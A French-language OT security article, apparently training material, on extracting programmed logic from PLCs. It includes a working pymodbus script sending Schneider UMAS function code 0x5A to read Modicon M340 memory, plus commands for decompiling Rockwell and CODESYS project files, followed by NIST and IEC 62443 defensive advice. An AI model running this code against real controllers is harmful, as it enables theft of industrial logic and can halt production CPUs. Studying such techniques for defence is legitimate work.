PLC Programming Logic Theft
practicalPLC Programming Logic Theft
L'extraction de la logique programmée d'un automate (ladder logic, function block diagram, structured text) représente l'un des objectifs les plus stratégiques en environnement OT.
Modbus vs DNP3
Modbus TCP n'offre aucune fonction native d'upload de programme. DNP3, défini par IEEE 1815, intègre nativement des fonctions de transfert de fichiers via l'objet 70.
| Caractéristique | Modbus TCP | DNP3 |
|---|---|---|
| Port | 502 | 20000 |
| Lecture de programme | Non standard | Object 70 (file transfer) |
| Authentification | Aucune (sauf Modbus Security) | DNP3-SA (IEC 62351-5) |
| Usage | Manufacturing, building | Énergie, eau, gaz |
Function code 90 (0x5A, UMAS) Schneider
Pour les Modicon M340, le function code 90 (0x5A, UMAS) encapsule des sous-fonctions propriétaires.
from pymodbus.client import ModbusTcpClient
from pymodbus.pdu import ModbusRequest
import struct
class UMASReadMemory(ModbusRequest):
function_code = 0x5A
def __init__(self, session=0x00, subfunc=0x24, **kwargs):
ModbusRequest.__init__(self, **kwargs)
self.session = session
self.subfunc = subfunc
def encode(self):
return struct.pack(">BB", self.session, self.subfunc)
client = ModbusTcpClient("192.168.10.20", port=502)
client.connect()
request = UMASReadMemory(session=0x00, subfunc=0x24, slave=1)
result = client.execute(request)
print(result)
client.close()
ATTENTION : Les function codes propriétaires peuvent provoquer des arrêts CPU. N'exécutez que sur un automate dédié hors production.
Récupération via stations d'ingénierie
Les EWS hébergent les fichiers projet originaux :
- Siemens TIA Portal : .ap16, .ap17, .ap18
- Schneider EcoStruxure Control Expert : .stu, .sta, .xef
- Rockwell Studio 5000 : .acd, .l5x (XML)
- CODESYS : .project, .projectarchive
MITRE ATT&CK for ICS : T0873 (Project File Infection) et T0843 (Program Download).
Décompilation ladder
# Extraction Rockwell ACD vers L5X XML
acd2l5x project.acd -o project.l5x
xmllint --xpath '//Rung' project.l5x | less
# CODESYS
python3 codesys_extractor.py --input projet.projectarchive --list-pou
Les blocs ST (Structured Text) sont généralement récupérables en clair. Les blocs LD et FBD nécessitent reconstruction graphique manuelle.
Implications défensives
Le framework NIST SP 800-82 Rev. 3 recommande : 1. Stockage chiffré des projets sur les EWS 2. Activation des mots de passe de protection PLC 3. Désactivation des function codes inutilisés via firewall industriel 4. Audit régulier des accès aux dossiers projet (KRITIS impose depuis 2021)
IEC 62443-4-2 : requirement CR 1.5 (Authenticator management) pour l'accès au code automate.